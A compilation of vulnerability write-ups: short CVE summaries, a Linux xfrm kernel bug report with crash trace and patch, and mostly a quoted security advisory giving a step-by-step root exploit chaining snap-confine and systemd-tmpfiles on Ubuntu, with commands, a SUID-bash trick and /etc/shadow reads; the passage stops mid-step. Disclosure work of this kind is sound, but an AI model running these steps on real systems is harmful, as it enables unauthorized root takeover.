A flaw was found in libefiboot, a component of efivar. The device path node parser in libefiboot fails to validate that each node's Length field is at least 4 bytes, which is the minimum size for an EFI (Extensible Firmware Interface) device path node header. A local user could exploit this vulnerability by providing a specially crafted device path node. This can lead to infinite recursion, causing stack exhaustion and a process crash, resulting in a denial of service (DoS).

Last updated 25 August 2026

Last updated 5 June 2026

Last updated 5 June 2026

Last updated 5 June 2026

Last updated 5 June 2026

Last updated 5 June 2026

Last updated 5 June 2026

Last updated 5 June 2026

Last updated 24 July 2024

GNOME NetworkManager before 0.7.0.99 does not properly verify privileges for dbus (1) modify and (2) delete requests, which allows local users to change or remove the network connections of arbitrary users via unspecified vectors related to org.freedesktop.NetworkManagerUserSettings and atconsole.

From Ludwid Nussel:

nm-applet.conf contains the following rules:

<policy context="default"> <allow senddestination="org.freedesktop.NetworkManagerUserSettings"/> <allow sendinterface="org.freedesktop.NetworkManagerSettings"/> <!-- Only root can get secrets --> <deny sendinterface="org.freedesktop.NetworkManagerSettings.Secrets"/>

Ie anyone can call methods on destination org.freedesktop.NetworkManagerUserSettings. There is a line that is supposed to block users from calling the GetSecrets method on the separate interface for secrets. Unfortunately that interface is not called "org.freedesktop.NetworkManagerSettings.Secrets" but "org.freedesktop.NetworkManagerSettings.Connection.Secrets". So the deny statement is useless and any user on the system can fetch the connection secrets. The same problem can be found in nm-system-settings.

Acknowledgements:

Red Hat would like to thank Ludwig Nussel for reporting this flaw responsibly.

Hyper-Threading technology, as used in FreeBSD and other operating systems that are run on Intel Pentium and other processors, allows local users to use a malicious thread to create covert channels, monitor the execution of other threads, and obtain sensitive information such as cryptographic keys, via a timing attack on memory cache misses.

cpio on FreeBSD 2.1.0, Debian GNU/Linux 3.0, and possibly other operating systems, uses a 0 umask when creating files using the -O (archive) or -F options, which creates the files with mode 0666 and allows local users to read or overwrite those files.

Last updated 25 March 2026

A poison null byte flaw was found in the implementation of the DiskFileItem class. A remote attacker able to supply a serialized instance of the DiskFileItem class, which will be deserialized on a server, could use this flaw to write arbitrary content to any location on the server that is permitted by the user running the application server process.

========== 1. Null-ptr-deref in xfrmupdateaeparams() ==========

[require privilege]: CAPNETADMIN

[effects]: local DoS

[crash stack]: [ 47.933119] BUG: kernel NULL pointer dereference, address: 0000000000000000 [ 47.933119] #PF: supervisor write access in kernel mode [ 47.933119] #PF: errorcode(0x0002) - not-present page [ 47.933119] PGD 8253067 P4D 8253067 PUD 8e0e067 PMD 0 [ 47.933119] Oops: 0002 [#1] PREEMPT SMP KASAN NOPTI [ 47.933119] CPU: 0 PID: 98 Comm: poc.npd Not tainted 6.4.0-rc7-00072-gdad9774deaf1 #8 [ 47.933119] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.o4 [ 47.933119] RIP: 0010:memcpyorig+0xad/0x140 [ 47.933119] Code: e8 4c 89 5f e0 48 8d 7f e0 73 d2 83 c2 20 48 29 d6 48 29 d7 83 fa 10 72 34 4c 8b 06 4c 8b 4e 08 c [ 47.933119] RSP: 0018:ffff888008f57658 EFLAGS: 00000202 [ 47.933119] RAX: 0000000000000000 RBX: ffff888008bd0000 RCX: ffffffff8238e571 [ 47.933119] RDX: 0000000000000018 RSI: ffff888007f64844 RDI: 0000000000000000 [ 47.933119] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000 [ 47.933119] R10: 0000000000000000 R11: 0000000000000000 R12: ffff888008f57818 [ 47.933119] R13: ffff888007f64aa4 R14: 0000000000000000 R15: 0000000000000000 [ 47.933119] FS: 00000000014013c0(0000) GS:ffff88806d600000(0000) knlGS:0000000000000000 [ 47.933119] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 47.933119] CR2: 0000000000000000 CR3: 00000000054d8000 CR4: 00000000000006f0 [ 47.933119] Call Trace: [ 47.933119] <TASK> [ 47.933119] ? die+0x1f/0x70 [ 47.933119] ? pagefaultoops+0x1e8/0x500 [ 47.933119] ? pfxisprefetch.constprop.0+0x10/0x10 [ 47.933119] ? pfxpagefaultoops+0x10/0x10 [ 47.933119] ? rawspinunlockirqrestore+0x11/0x40 [ 47.933119] ? fixupexception+0x36/0x460 [ 47.933119] ? rawspinunlockirqrestore+0x11/0x40 [ 47.933119] ? excpagefault+0x5e/0xc0 [ 47.933119] ? asmexcpagefault+0x26/0x30 [ 47.933119] ? xfrmupdateaeparams+0xd1/0x260 [ 47.933119] ? memcpyorig+0xad/0x140 [ 47.933119] ? pfxrawspinlockbh+0x10/0x10 [ 47.933119] xfrmupdateaeparams+0xe7/0x260 [ 47.933119] xfrmnewae+0x298/0x4e0 [ 47.933119] ? pfxxfrmnewae+0x10/0x10 [ 47.933119] xfrmuserrcvmsg+0x25a/0x410 [ 47.933119] ? pfxxfrmuserrcvmsg+0x10/0x10 [ 47.933119] ? allocskb+0xcf/0x210 [ 47.933119] ? stacktracesave+0x90/0xd0 [ 47.933119] ? filterirqstacks+0x1c/0x70 [ 47.933119] ? stackdepotsave+0x39/0x4e0 [ 47.933119] ? kasanslabfree+0x10a/0x190 [ 47.933119] ? kmemcachefree+0x9c/0x340 [ 47.933119] ? netlinkrecvmsg+0x23c/0x660 [ 47.933119] ? sockrecvmsg+0xeb/0xf0 [ 47.933119] ? sysrecvfrom+0x13c/0x1f0 [ 47.933119] ? x64sysrecvfrom+0x71/0x90 [ 47.933119] ? dosyscall64+0x3f/0x90 [ 47.933119] ? entrySYSCALL64afterhwframe+0x72/0xdc [ 47.933119] ? copyout+0x3e/0x50 [ 47.933119] netlinkrcvskb+0xd6/0x210 [ 47.933119] ? pfxxfrmuserrcvmsg+0x10/0x10 [ 47.933119] ? pfxnetlinkrcvskb+0x10/0x10 [ 47.933119] ? pfxsockhasperm+0x10/0x10 [ 47.933119] ? mutexlock+0x8d/0xe0 [ 47.933119] ? pfxmutexlock+0x10/0x10 [ 47.933119] xfrmnetlinkrcv+0x44/0x50 [ 47.933119] netlinkunicast+0x36f/0x4c0 [ 47.933119] ? pfxnetlinkunicast+0x10/0x10 [ 47.933119] ? netlinkrecvmsg+0x500/0x660 [ 47.933119] netlinksendmsg+0x3b7/0x700 [ 47.933119] ? pfxnetlinksendmsg+0x10/0x10 [ 47.933119] ? updateloadavg+0x591/0xab0 [ 47.933119] ? pfxnetlinksendmsg+0x10/0x10 [ 47.933119] socksendmsg+0xde/0xe0 [ 47.933119] syssendto+0x18d/0x230 [ 47.933119] ? pfxsyssendto+0x10/0x10 [ 47.933119] ? rbinsertcolor+0x1c0/0x280 [ 47.933119] ? timerqueueadd+0x128/0x150 [ 47.933119] ? ktimeget+0x49/0xb0 [ 47.933119] ? pfxnativeapicmemwrite+0x10/0x10 [ 47.933119] ? lapicnextevent+0x35/0x40 [ 47.933119] ? clockeventsprogramevent+0xdf/0x140 [ 47.933119] ? hrtimerinterrupt+0x321/0x360 [ 47.933119] x64syssendto+0x71/0x90 [ 47.933119] dosyscall64+0x3f/0x90 [ 47.933119] entrySYSCALL64afterhwframe+0x72/0xdc [ 47.933119] RIP: 0033:0x44b8aa [ 47.933119] Code: d8 64 89 02 48 c7 c0 ff ff ff ff eb b9 0f 1f 00 f3 0f 1e fa 41 89 ca 64 8b 04 25 18 00 00 00 85 9 [ 47.933119] RSP: 002b:00007fff7ded8258 EFLAGS: 00000246 ORIGRAX: 000000000000002c [ 47.933119] RAX: ffffffffffffffda RBX: 00007fff7ded9688 RCX: 000000000044b8aa [ 47.933119] RDX: 00000000000002a8 RSI: 00007fff7ded8480 RDI: 0000000000000003 [ 47.933119] RBP: 00007fff7ded82c0 R08: 00007fff7ded829c R09: 000000000000000c [ 47.933119] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000001 [ 47.933119] R13: 00007fff7ded9678 R14: 00000000004c37d0 R15: 0000000000000001 [ 47.933119] </TASK> [ 47.933119] Modules linked in: [ 47.933119] CR2: 0000000000000000 [ 47.933119] ---[ end trace 0000000000000000 ]--- [ 47.933119] RIP: 0010:memcpyorig+0xad/0x140 [ 47.933119] Code: e8 4c 89 5f e0 48 8d 7f e0 73 d2 83 c2 20 48 29 d6 48 29 d7 83 fa 10 72 34 4c 8b 06 4c 8b 4e 08 c [ 47.933119] RSP: 0018:ffff888008f57658 EFLAGS: 00000202 [ 47.933119] RAX: 0000000000000000 RBX: ffff888008bd0000 RCX: ffffffff8238e571 [ 47.933119] RDX: 0000000000000018 RSI: ffff888007f64844 RDI: 0000000000000000 [ 47.933119] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000 [ 47.933119] R10: 0000000000000000 R11: 0000000000000000 R12: ffff888008f57818 [ 47.933119] R13: ffff888007f64aa4 R14: 0000000000000000 R15: 0000000000000000 [ 47.933119] FS: 00000000014013c0(0000) GS:ffff88806d600000(0000) knlGS:0000000000000000 [ 47.933119] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 47.933119] CR2: 0000000000000000 CR3: 00000000054d8000 CR4: 00000000000006f0 [ 47.933119] Kernel panic - not syncing: Fatal exception in interrupt [ 47.933119] Kernel Offset: disabled [ 47.933119] ---[ end Kernel panic - not syncing: Fatal exception in interrupt ]---

[buggy commit]: d8647b79c3b7 ("xfrm: Add user interface for esn and big anti-replay windows")

[root cause]: x->replayesn and x->preplayesn should be allocated at xfrmallocreplaystateesn(...) in xfrmstateconstruct(..), and then the xfrmupdateaeparams(...) is okay to update them. However, the current implementation allows a malicious user to directly dereference the pointer and crash the kernel like above.

[PoC code]: see attachment poc1.c. I have tested it in ubuntu 22.04 and latest Linux with QEMU.

[suggest fix]: Add NULL check in xfrmupdateaeparams() like below:

@@ -628,7 +628,7 @@ static void xfrmupdateaeparams(struct xfrmstate x, struct nlattr attrs, struct nlattr rt = attrs[XFRMAREPLAYTHRESH]; struct nlattr mt = attrs[XFRMAMTIMERTHRESH];

- if (re) { + if (re && x->replayesn && x->preplayesn) { struct xfrmreplaystateesn replayesn;

Ubuntu Linux 6.10 for the PowerPC (PPC) allows local users to cause a denial of service (resource consumption) by using the (1) sysgetrobustlist and (2) syssetrobustlist functions to create processes that cannot be killed.

Unspecified vulnerability in the "alignment check exception handling" in Ubuntu 5.10, 6.06 LTS, and 6.10 for the PowerPC (PPC) allows local users to cause a denial of service (kernel panic) via unspecified vectors.

Heap-based buffer overflow in the showQueryPackage function in librpm in RPM Package Manager 4.4.8, when the LANG environment variable is set to ruRU.UTF-8, might allow user-assisted attackers to execute arbitrary code via crafted RPM packages.

A "stack overwrite" vulnerability in GnuPG (gpg) 1.x before 1.4.6, 2.x before 2.0.2, and 1.9.0 through 1.9.95 allows attackers to execute arbitrary code via crafted OpenPGP packets that cause GnuPG to dereference a function pointer from deallocated stack memory.

Nice work... flashbacks from 2002 (https://lcamtuf.coredump.cx/tmppaper.txt). It's frankly somewhat mind-boggling that distros keep a world-writable /tmp this day and age. Whatever questionable benefits it has, it also contributed to plenty of pointless and easily avoidable vulns.

/mz

On Tue, Mar 17, 2026 at 1:35 PM Qualys Security Advisory <qsa () qualys com> wrote: Qualys Security Advisory

Good things come to those who wait: snap-confine + systemd-tmpfiles = root (CVE-2026-3888)

======================================================================== Contents ========================================================================

Summary Case study: Ubuntu Desktop 24.04 - Analysis - Exploitation Case study: Ubuntu Desktop 25.10 - Overview - Exploitation A quick note on the uutils coreutils (the rust-coreutils) Acknowledgments Timeline

And that is why Caterpillar was never in a hurry. She knew that good things come to those who wait. -- Tinga Tinga Tales, "Why Caterpillar is Never in a Hurry"

======================================================================== Summary ========================================================================

We discovered an unusual Local Privilege Escalation (LPE), from any unprivileged user to full root, in the default installation of Ubuntu Desktop >= 24.04. We found this vulnerability particularly interesting:

a/ it stems from the interaction of two otherwise secure programs:

- snap-confine, which is set-user-ID-root (or set-capabilities), and "used internally by snapd to construct the execution environment for snap applications" (man snap-confine);

- systemd-tmpfiles, which is executed as root once per day, and "creates, deletes, and cleans up files and directories, using the configuration file format and location specified in tmpfiles.d(5)" (man systemd-tmpfiles);

b/ an unprivileged local attacker who wants to exploit this LPE must wait for 10 days (in Ubuntu > 24.04) or 30 days (in Ubuntu 24.04) to obtain a fully privileged root shell.

As a side note, we also discovered a local vulnerability (a race condition) in the uutils coreutils (a Rust rewrite of the standard GNU coreutils -- ls, cp, rm, cat, sort, etc), which are installed by default in Ubuntu 25.10. This vulnerability was mitigated in Ubuntu 25.10 before its release (by replacing the uutils coreutils' rm with the standard GNU coreutils' rm), and would otherwise have resulted in an LPE (from any unprivileged user to full root) in the default installation of Ubuntu Desktop 25.10.

======================================================================== Case study: Ubuntu Desktop 24.04 ========================================================================

Go slow, go slow, If you want to grow. -- Tinga Tinga Tales, "Why Caterpillar is Never in a Hurry"

Analysis

We recently noticed that, in the default installation of Ubuntu since version 24.04, systemd-tmpfiles is configured to automatically clean up the files and directories in /tmp that are older than 30 days (in Ubuntu 24.04) or 10 days (in Ubuntu > 24.04). More precisely, systemd-tmpfiles traverses /tmp once per day and deletes all the files and directories that have not been accessed nor modified for more than 10 or 30 days.

------------------------------------------------------------------------ $ cat /etc/os-release PRETTYNAME="Ubuntu 24.04.3 LTS" ...

$ cat /usr/lib/tmpfiles.d/tmp.conf ... D /tmp 1777 root root 30d #q /var/tmp 1777 root root 30d ------------------------------------------------------------------------

------------------------------------------------------------------------ $ cat /etc/os-release PRETTYNAME="Ubuntu 25.10" ...

$ cat /usr/lib/tmpfiles.d/tmp.conf ... q /tmp 1777 root root 10d q /var/tmp 1777 root root 30d ------------------------------------------------------------------------

From our "Lemmings" and "Leeloo" advisories, we then remembered that snap-confine does highly privileged work in /tmp; in particular, in the /tmp/snap-private-tmp directory, which is securely created at boot time (as user root, mode 0700):

https://www.qualys.com/2022/02/17/cve-2021-44731/oh-snap-more-lemmings.txt https://www.qualys.com/2022/11/30/cve-2022-3328/advisory-snap.txt

------------------------------------------------------------------------ $ cat /usr/lib/tmpfiles.d/snapd.conf D! /tmp/snap-private-tmp 0700 root root - ------------------------------------------------------------------------

We therefore came up with the following idea: if, unbeknownst to snap-confine, systemd-tmpfiles deletes one of the files or directories from snap-confine's /tmp/snap-private-tmp, can we (an unprivileged local attacker) re-create the deleted file or directory ourselves, and exploit snap-confine's privileged work to obtain a fully privileged root shell?

Still from our "Lemmings" and "Leeloo" advisories, we also remembered that, to set up a snap's sandbox, snap-confine creates a directory named /tmp/snap-private-tmp/$SNAP/tmp (as user root, mode 01777) that is later bind-mounted onto the /tmp directory inside the snap's sandbox.

And inside this /tmp directory (inside the snap's sandbox), snap-confine creates a directory named /tmp/.snap (as user root, mode 0755) to create "mimics"; for example, inside the sandbox of each and every snap that is installed by default on Ubuntu Desktop, snap-confine bind-mounts the /usr/lib/x8664-linux-gnu/webkit2gtk-4.0 directory:

- to bind-mount this directory, snap-confine must first create its /usr/lib/x8664-linux-gnu/webkit2gtk-4.0 mountpoint, which does not normally exist;

- but inside the snap's sandbox, /usr/lib/x8664-linux-gnu is in a read-only filesystem (the "core22" base's squashfs);

- so snap-confine must first create a "mimic" of /usr/lib/x8664-linux-gnu (a writable copy of /usr/lib/x8664-linux-gnu), by:

1/ bind-mounting the original, read-only /usr/lib/x8664-linux-gnu onto /tmp/.snap/usr/lib/x8664-linux-gnu (inside the snap's sandbox);

2/ mounting a new, writable tmpfs onto /usr/lib/x8664-linux-gnu;

3/ bind-mounting every file and directory from /tmp/.snap/usr/lib/x8664-linux-gnu back into /usr/lib/x8664-linux-gnu;

4/ creating the /usr/lib/x8664-linux-gnu/webkit2gtk-4.0 mountpoint (which is in a writable tmpfs now);

5/ finally bind-mounting /snap/firefox/6565/gnome-platform/usr/lib/x8664-linux-gnu/webkit2gtk-4.0 (for example) onto /usr/lib/x8664-linux-gnu/webkit2gtk-4.0.

------------------------------------------------------------------------ $ grep /usr/lib/x8664-linux-gnu/webkit2gtk-4.0 /var/lib/snapd/mount/ /var/lib/snapd/mount/snap.firefox.fstab:/snap/firefox/6565/gnome-platform/usr/lib/x8664-linux-gnu/webkit2gtk-4.0 /usr/lib/x8664-linux-gnu/webkit2gtk-4.0 none rbind,rw,x-snapd.origin=layout 0 0 ... ------------------------------------------------------------------------

Consequently, our theoretical idea to exploit snap-confine is:

- inside the snap's sandbox, we frequently write to the /tmp directory (but not to /tmp/.snap), and patiently wait for systemd-tmpfiles to delete the unmodified /tmp/.snap directory (but not /tmp) after 10 days (in Ubuntu > 24.04) or 30 days (in Ubuntu 24.04);

- we re-create the /tmp/.snap directory ourselves (indeed, /tmp is world-writable), and create our own copy of /usr/lib/x8664-linux-gnu in /tmp/.snap/usr/lib/x8664-linux-gnu.exchange;

- we force snap-confine to set up the snap's sandbox afresh, but during the creation of the /usr/lib/x8664-linux-gnu "mimic", between step 1/ and step 3/, we quickly replace /tmp/.snap/usr/lib/x8664-linux-gnu with our own /tmp/.snap/usr/lib/x8664-linux-gnu.exchange (indeed, /tmp/.snap belongs to us);

- as a result, during step 3/ of the creation of this "mimic", snap-confine bind-mounts our own files into /usr/lib/x8664-linux-gnu, so we control every shared library and the dynamic loader (inside the snap's sandbox) and can execute arbitrary code as root by simply executing any dynamically-linked SUID-root binary.

In the following proof of concept for Ubuntu Desktop 24.04, we put this theoretical idea into practice.

Exploitation

First, we set up the sandbox of one of the snaps that are installed by default on Ubuntu Desktop (the "firefox" snap) by executing snap-confine with the "core22" base, then we obtain an unprivileged shell inside this snap's sandbox, we chdir to its /tmp directory, we frequently write to this directory (but not to its /tmp/.snap sub-directory), and we wait for systemd-tmpfiles to delete the unmodified /tmp/.snap directory (after 30 days, in Ubuntu 24.04).

------------------------------------------------------------------------ outside$ cat /etc/os-release PRETTYNAME="Ubuntu 24.04.3 LTS" ...

outside$ id uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)

outside$ env -i SNAPINSTANCENAME=firefox /usr/lib/snapd/snap-confine --base core22 snap.firefox.hook.configure /bin/bash

inside$ cd /tmp

inside$ stat ./.snap ... Access: (0755/drwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) ...

inside$ while test -d ./.snap; do touch ./; sleep 60; done [30 days pass]

inside$ stat ./.snap stat: cannot statx './.snap': No such file or directory ------------------------------------------------------------------------

Second, from another shell outside the snap's sandbox, we chdir to /tmp/snap-private-tmp/$SNAP/tmp (/tmp inside the snap's sandbox) through the /proc/pid/cwd of our sandboxed shell (indeed, we cannot chdir to /tmp/snap-private-tmp/$SNAP/tmp directly because /tmp/snap-private-tmp belongs to root, mode 0700), we destroy the snap's sandbox (but not its /tmp directory) by executing snap-confine with an invalid base (the "snapd" base), and we run our firefox24.04.c helper (which is basically CVE-2021-44731-Desktop.c from our "Lemmings" advisory):

- we re-create the ./.snap directory ourselves (/tmp/.snap inside the snap's sandbox), since it was deleted by systemd-tmpfiles, and we create our own copy of /snap/core22/current/usr/lib/x8664-linux-gnu in ./.snap/usr/lib/x8664-linux-gnu.exchange;

- we force snap-confine to set up the snap's sandbox afresh, by executing it with the "core22" base, but we "single-step" this execution of snap-confine (we set SNAPDDEBUG=1, we redirect its stderr to an AFUNIX socket with minimized SORCVBUF and SOSNDBUF, we read() its output byte by byte, and we recv(MSGPEEK) at its buffered output), to reliably win the race condition between step 1/ and step 3/ of the "mimic" creation of /usr/lib/x8664-linux-gnu;

- as soon as we read() or recv() the following message (immediately after step 1/ of the "mimic" creation of /usr/lib/x8664-linux-gnu),

mount name:"/usr/lib/x8664-linux-gnu" dir:"/tmp/.snap/usr/lib/x8664-linux-gnu"

we quickly replace snap-confine's ./.snap/usr/lib/x8664-linux-gnu with our own ./.snap/usr/lib/x8664-linux-gnu.exchange, whose contents are then bind-mounted into /usr/lib/x8664-linux-gnu, thus giving us full control over every shared library and the dynamic loader inside the snap's sandbox.

------------------------------------------------------------------------ outside$ cd /proc/2396/cwd

outside$ env -i SNAPINSTANCENAME=firefox /usr/lib/snapd/snap-confine --base snapd snap.firefox.hook.configure /nonexistent /user.slice/user-1001.slice/session-145.scope is not a snap cgroup

outside$ systemd-run --user --scope --unit=snap.whatever /bin/bash Running as unit: snap.whatever.scope; invocation ID: ed50ae80aa9844d6a6e4499ea1f4bba8

outside$ env -i SNAPINSTANCENAME=firefox /usr/lib/snapd/snap-confine --base snapd snap.firefox.hook.configure /nonexistent cannot perform operation: mount --rbind /dev /tmp/snap.rootfsyMpga4//dev: No such file or directory

outside$ exit

outside$ ~/firefox24.04 hange.go:351: DEBUG: mount name:"/usr/lib/x8664-linux-gnu" dir:"/tmp/.snap/usr/lib/x8664-linux-gnu" type:"" opts:MSBIND|MSREC unparsed:"" (error: <nil>) change.go:351: DEBUG: mount name:"tmpfs" dir:"/usr/lib/x8664-linux-gnu" type:"tmpfs" opts: unparsed:"mode=0755,uid=0,gid=0" (error: <nil>) ... change.go:351: DEBUG: mount name:"/tmp/.snap/usr/lib/x8664-linux-gnu/ld-linux-x86-64.so.2" dir:"/usr/lib/x8664-linux-gnu/ld-linux-x86-64.so.2" type:"" opts:MSBIND unparsed:"" (error: <nil>) ... change.go:351: DEBUG: mount name:"/snap/firefox/6565/gnome-platform/usr/lib/x8664-linux-gnu/webkit2gtk-4.0" dir:"/usr/lib/x8664-linux-gnu/webkit2gtk-4.0" type:"none" opts:MSBIND|MSREC unparsed:"" (error: <nil>) ... execv failed: No such file or directory ------------------------------------------------------------------------

Third, we obtain an unprivileged shell inside this newly set up sandbox, by executing snap-confine with the same "core22" base; and from another shell outside this snap's sandbox, we chdir to its / directory, through the /proc/pid/root of our sandboxed shell, we copy /usr/bin/busybox to ./tmp/sh (/tmp/sh inside the snap's sandbox), and we overwrite the dynamic loader ./usr/lib/x8664-linux-gnu/ld-linux-x86-64.so.2 (which belongs to us) with a simple shellcode that calls setreuid(0) and execve(/tmp/sh) (a busybox shell).

------------------------------------------------------------------------ outside$ env -i SNAPINSTANCENAME=firefox /usr/lib/snapd/snap-confine --base core22 snap.firefox.hook.configure /bin/bash inside$ ------------------------------------------------------------------------

------------------------------------------------------------------------ outside$ cd /proc/4516/root

outside$ cp /usr/bin/busybox ./tmp/sh

outside$ cat ~/librootshell.so > ./usr/lib/x8664-linux-gnu/ld-linux-x86-64.so.2 ------------------------------------------------------------------------

Fourth, we obtain a root shell inside the snap's sandbox, by executing snap-confine itself through snap-confine, which is dynamically linked and SUID-root and therefore executes our own dynamic loader's shellcode (and hence a busybox shell) as root. (Note: the snap's sandbox contains various SUID-root binaries, but only the execution of snap-confine is allowed by its AppArmor profile.)

------------------------------------------------------------------------ outside$ env -i SNAPINSTANCENAME=firefox /usr/lib/snapd/snap-confine --base core22 snap.firefox.hook.configure /usr/lib/snapd/snap-confine ... BusyBox v1.36.1 (Ubuntu 1:1.36.1-6ubuntu3.1) built-in shell (ash) ...

inside# id uid=0(root) gid=1001(jane) groups=100(users),1001(jane) ^^^^^^^^^^^

inside# cat /etc/shadow cat: can't open '/etc/shadow': Permission denied ------------------------------------------------------------------------

Fifth, because this root shell is still inside the snap's sandbox, confined by an AppArmor profile and a seccomp filter, we copy /bin/bash to /var/snap/$SNAP/common/ and chmod it to 04755 (both operations are allowed by the AppArmor profile and the seccomp filter), and execute this SUID-root shell from outside the snap's sandbox, thereby finally gaining full root privileges.

------------------------------------------------------------------------ inside# cp /bin/bash /var/snap/firefox/common/

inside# chmod 04755 /var/snap/firefox/common/bash

inside# exit

outside$ /var/snap/firefox/common/bash -p

outside# id uid=1001(jane) gid=1001(jane) euid=0(root) groups=1001(jane),100(users) ^^^^^^^^^^^^

outside# cat /etc/shadow root::20305:0:99999:7::: daemon::20305:0:99999:7::: ... ------------------------------------------------------------------------

======================================================================== Case study: Ubuntu Desktop 25.10 ========================================================================

Why go fast? Let life run past? -- Tinga Tinga Tales, "Why Caterpillar is Never in a Hurry"

Overview

For Ubuntu Desktop 25.10 we must change our exploitation strategy, because snap-confine is not SUID-root anymore; instead, it now has capabilities attached:

------------------------------------------------------------------------ $ stat /usr/lib/snapd/snap-confine ... Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) ...

$ getcap /usr/lib/snapd/snap-confine /usr/lib/snapd/snap-confine capchown,capdacoverride,capdacreadsearch,capfowner,capsyschroot,capsysptrace,capsysadmin=p ------------------------------------------------------------------------

These capabilities are actually very powerful, and we can obtain them inside a snap's sandbox by slightly revising our exploitation strategy from Ubuntu 24.04 (by calling capset() and prctl(PRCAPAMBIENTRAISE) instead of setreuid(0)), but most of these capabilities and associated syscalls are then denied to us by AppArmor and seccomp, thus preventing us from gaining full root privileges outside the snap's sandbox.

Consequently, we decided to re-use the strategy that we used in our "Lemmings" advisory to exploit the "snap-store" snap (which is installed by default on Ubuntu Desktop): instead of racing against the "mimic" creation of /usr/lib/x8664-linux-gnu, we race against the "mimic" creation of /var/lib (which is needed to bind-mount /var/lib/app-info inside snap-store's sandbox), which allows us to control /var/lib and hence /var/lib/snapd/mount/snap.snap-store.user-fstab, which in turn allows us to bind-mount near-arbitrary directories and obtain a root shell inside snap-store's sandbox, and eventually a fully privileged root shell outside snap-store's sandbox.

Exploitation

First, we set up snap-store's sandbox by executing snap-confine with the "core22" base, we obtain an unprivileged shell inside this sandbox, we chdir to its /tmp directory, we frequently write to this directory (but not to its /tmp/.snap sub-directory), and we wait for systemd-tmpfiles to delete the unmodified /tmp/.snap directory (after 10 days, in Ubuntu 25.10).

------------------------------------------------------------------------ outside$ cat /etc/os-release PRETTYNAME="Ubuntu 25.10" ...

outside$ id uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)

outside$ env -i SNAPINSTANCENAME=snap-store /usr/lib/snapd/snap-confine --base core22 snap.snap-store.hook.configure /bin/bash

inside$ cd /tmp

inside$ stat ./.snap ... Access: (0755/drwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) ...

inside$ while test -d ./.snap; do touch ./; sleep 60; done [10 days pass]

inside$ stat ./.snap stat: cannot statx './.snap': No such file or directory ------------------------------------------------------------------------

Second, from another shell outside snap-store's sandbox, we chdir to /tmp/snap-private-tmp/$SNAP/tmp (/tmp inside the sandbox) through the /proc/pid/cwd of our sandboxed shell, we destroy snap-store's sandbox (but not its /tmp directory) by executing snap-confine with an invalid base ("snapd"), and we run our snap-store25.10.c helper (which is also basically CVE-2021-44731-Desktop.c from our "Lemmings" advisory):

- we re-create the ./.snap directory ourselves (/tmp/.snap inside snap-store's sandbox), since it was deleted by systemd-tmpfiles, and we create our own copy of /snap/core22/current/var/lib in ./.snap/var/lib.exchange;

- we force snap-confine to set up snap-store's sandbox afresh, by executing it with the "core22" base, but we "single-step" this execution (with SNAPDDEBUG=1), to reliably win the race condition between step 1/ and step 3/ of the "mimic" creation of /var/lib;

- as soon as we see the following debug message (immediately after step 1/ of the "mimic" creation of /var/lib),

mount name:"/var/lib" dir:"/tmp/.snap/var/lib"

we quickly replace snap-confine's ./.snap/var/lib with our own ./.snap/var/lib.exchange, whose contents are then bind-mounted into /var/lib (inside snap-store's sandbox); this replacement has two beneficial consequences for us:

a/ we control /var/lib/snapd/mount/snap.snap-store.user-fstab, which allows us to bind-mount near-arbitrary directories inside snap-store's sandbox (these bind-mounts are not completely arbitrary, because they are still confined by an AppArmor profile);

b/ various SUID-root binaries remain bind-mounted in /tmp/.snap, and their execution is allowed by an AppArmor rule "/tmp/ mrwlkix," inside snap-store's sandbox.

------------------------------------------------------------------------ outside$ cd /proc/4078/cwd

outside$ env -i SNAPINSTANCENAME=snap-store /usr/lib/snapd/snap-confine --base snapd snap.snap-store.hook.configure /nonexistent /user.slice/user-1001.slice/session-33.scope is not a snap cgroup

outside$ systemd-run --user --scope --unit=snap.whatever /bin/bash Running as unit: snap.whatever.scope; invocation ID: 113af972356b4f08a58461cf64cc57f6

outside$ env -i SNAPINSTANCENAME=snap-store /usr/lib/snapd/snap-confine --base snapd snap.snap-store.hook.configure /nonexistent cannot perform operation: mount --rbind /dev /tmp/snap.rootfsGCNDEM//dev: No such file or directory

outside$ exit

outside$ ~/snap-store25.10 ... hange.go:351: DEBUG: mount name:"/var/lib" dir:"/tmp/.snap/var/lib" type:"" opts:MSBIND|MSREC unparsed:"" (error: <nil>) change.go:351: DEBUG: mount name:"tmpfs" dir:"/var/lib" type:"tmpfs" opts: unparsed:"mode=0755,uid=0,gid=0" (error: <nil>) ... change.go:426: DEBUG: umount "/tmp/.snap/var/lib" UMOUNTNOFOLLOW|MNTDETACH (error: invalid argument) change.go:399: DEBUG: ignoring EINVAL from unmount, "/tmp/.snap/var/lib" is not mounted change.go:477: DEBUG: remove "/tmp/.snap/var/lib" (error: remove /tmp/.snap/var/lib: directory not empty) ... /var/lib/snapd not root-owned 1001:1001 ------------------------------------------------------------------------

Third, still from outside snap-store's sandbox but inside its /tmp directory:

- we create a copy of /etc in ./.snap/etc (/tmp/.snap/etc inside the sandbox), we add /tmp/librootshell.so to ./.snap/etc/ld.so.preload, we create ./librootshell.so (/tmp/librootshell.so inside the sandbox), a simple shellcode that calls setreuid(0) and execve(/tmp/sh), we copy /usr/bin/busybox to ./sh (/tmp/sh inside the sandbox), and we add the following to ./.snap/var/lib/snapd/mount/snap.snap-store.user-fstab, which will bind-mount our copy of /etc inside snap-store's sandbox:

/tmp/.snap/etc /etc none rbind,rw 0 0

- we also add the following line to ./.snap/var/lib/snapd/mount/snap.snap-store.user-fstab (and replace our own ./.snap/var/lib with the original ./.snap/var/lib.exchange), which will bind-mount the original, root-owned /var/lib/snapd inside snap-store's sandbox (otherwise snap-confine dies because it detects that /var/lib/snapd does not belong to root -- it belongs to us since we won the race condition against the "mimic" creation of /var/lib):

/tmp/.snap/var/lib/snapd /var/lib/snapd none rbind,rw 0 0

------------------------------------------------------------------------ outside$ cp -a /etc ./.snap ...

